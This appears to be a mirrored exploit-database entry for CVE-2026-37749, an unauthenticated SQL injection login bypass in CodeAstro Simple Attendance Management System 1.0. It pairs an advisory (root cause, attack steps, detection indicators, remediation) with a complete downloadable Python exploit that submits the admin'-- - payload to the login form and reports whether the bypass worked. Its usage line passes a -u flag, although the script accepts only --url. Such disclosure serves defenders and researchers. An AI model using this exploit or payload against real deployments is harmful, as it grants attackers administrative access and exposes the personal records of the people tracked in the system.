CodeAstro Simple Attendance Management System 1.0 — SQL Injection Auth Bypass (CVE-2026-37749)

by Varad AP Mene (menevarad007) · 2026-07-05

CVSS 9.8/10

Severity: Critical
CVE: CVE-2026-37749
Category: web
Affected product: CodeAstro Simple Attendance Management System 1.0
Affected versions: 1
Disclosed: 2026-07-05
Patch status: unpatched

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-04
Author / Researcher	Varad AP Mene (menevarad007)
CVE / Advisory	CVE-2026-37749
Category	web
Severity	Critical
CVSS Score	9.8 (CVSSv3: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Status	PoC
Tags	php, sql-injection, authentication-bypass, cwe-89, unauthenticated, codeastro
Related	N/A

Affected Target

Field	Value
Software / System	CodeAstro Simple Attendance Management System 1.0
Versions Affected	1.0
Language / Platform	Python (exploit) targeting PHP/MySQL web app
Authentication Required	No
Network Access Required	Yes

Summary

The login form in index.php of CodeAstro Simple Attendance Management System 1.0 concatenates the username POST parameter directly into a MySQL query with no sanitization or prepared statements. An unauthenticated attacker can submit a classic SQL injection payload such as admin'-- - in the username field to bypass authentication entirely and gain administrative access to the application.

Vulnerability Details

Root Cause

index.php builds the login query as SELECT * FROM admin WHERE username='$username' AND password='$password' using raw $_POST values, with no escaping or parameterization (CWE-89).

Attack Vector

Navigate to the login page at http://target/attendance/index.php.
Enter admin'-- - as the username and any value as the password.
Submit the login form.
The injected comment (-- -) neutralizes the password check, granting admin access without valid credentials.

Impact

Complete authentication bypass and full administrative access to all attendance records, exploitable by any unauthenticated remote attacker.

Environment / Lab Setup

Target:   CodeAstro Simple Attendance Management System 1.0 (PHP/MySQL)
Attacker: Python 3, requests library

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python3 exploit.py -u http://target/attendance/

The script submits the crafted admin'-- - payload to the login endpoint and confirms the resulting authentication bypass.

Detection & Indicators of Compromise

POST /attendance/index.php HTTP/1.1
username=admin'-- -&password=anything

Signs of compromise:

Login attempts containing SQL comment sequences (-- , '--, #) in the username field
Admin sessions established without a corresponding valid password submission

Remediation

Action	Detail
Primary fix	No vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigation	Rewrite the login query using parameterized/prepared statements (`mysqli`/PDO) instead of string concatenation

References

Source repository

Notes

Mirrored from https://github.com/menevarad007/CVE-2026-37749 on 2026-07-05.

exploit.py

python raw GitHub ↓ Download

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
# Exploit Title: Simple Attendance Management System 1.0 - SQLi Authentication Bypass
# Date: 2026-04-16
# Exploit Author: Varad AP Mene (menevarad007@gmail.com)
# Vendor Homepage: https://codeastro.com/simple-attendance-management-system-in-php-with-source-code/
# Software Link: https://codeastro.com/simple-attendance-management-system-in-php-with-source-code/
# Version: 1.0
# Tested on: Windows 10 / XAMPP, Kali Linux
# CVE: CVE-2026-37749

import requests
import argparse
import sys

def exploit(base_url):
    url = f"{base_url}/index.php"
    payload = "admin'-- -"

    data = {
        'username': payload,
        'password': 'anything',
        'type': 'admin',
        'submit': 'submit'
    }

    session = requests.Session()
    session.headers.update({'User-Agent': 'Mozilla/5.0'})

    print(f"[*] Target  : {url}")
    print(f"[*] Payload : {payload}")
    print(f"[*] Sending request...")

    r = session.post(url, data=data, timeout=10, allow_redirects=True)

    if 'dashboard' in r.url or 'logout' in r.text.lower():
        print(f"[+] SUCCESS! Authentication bypassed!")
        print(f"[+] Redirected to: {r.url}")
        return True
    else:
        print(f"[-] Failed. Status: {r.status_code}")
        return False

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-37749 - SQLi Auth Bypass PoC'
    )
    parser.add_argument('--url', required=True,
                        help='Target URL e.g. http://192.168.1.1/attendance')
    args = parser.parse_args()

    print("=" * 60)
    print("CVE-2026-37749 — SQLi Authentication Bypass")
    print("Product: Simple Attendance Management System 1.0")
    print("Author : Varad AP Mene")
    print("=" * 60)
    print()

    try:
        result = exploit(args.url.rstrip('/'))
        sys.exit(0 if result else 1)
    except Exception as e:
        print(f"[-] Error: {e}")
        sys.exit(1)

if __name__ == '__main__':
    main()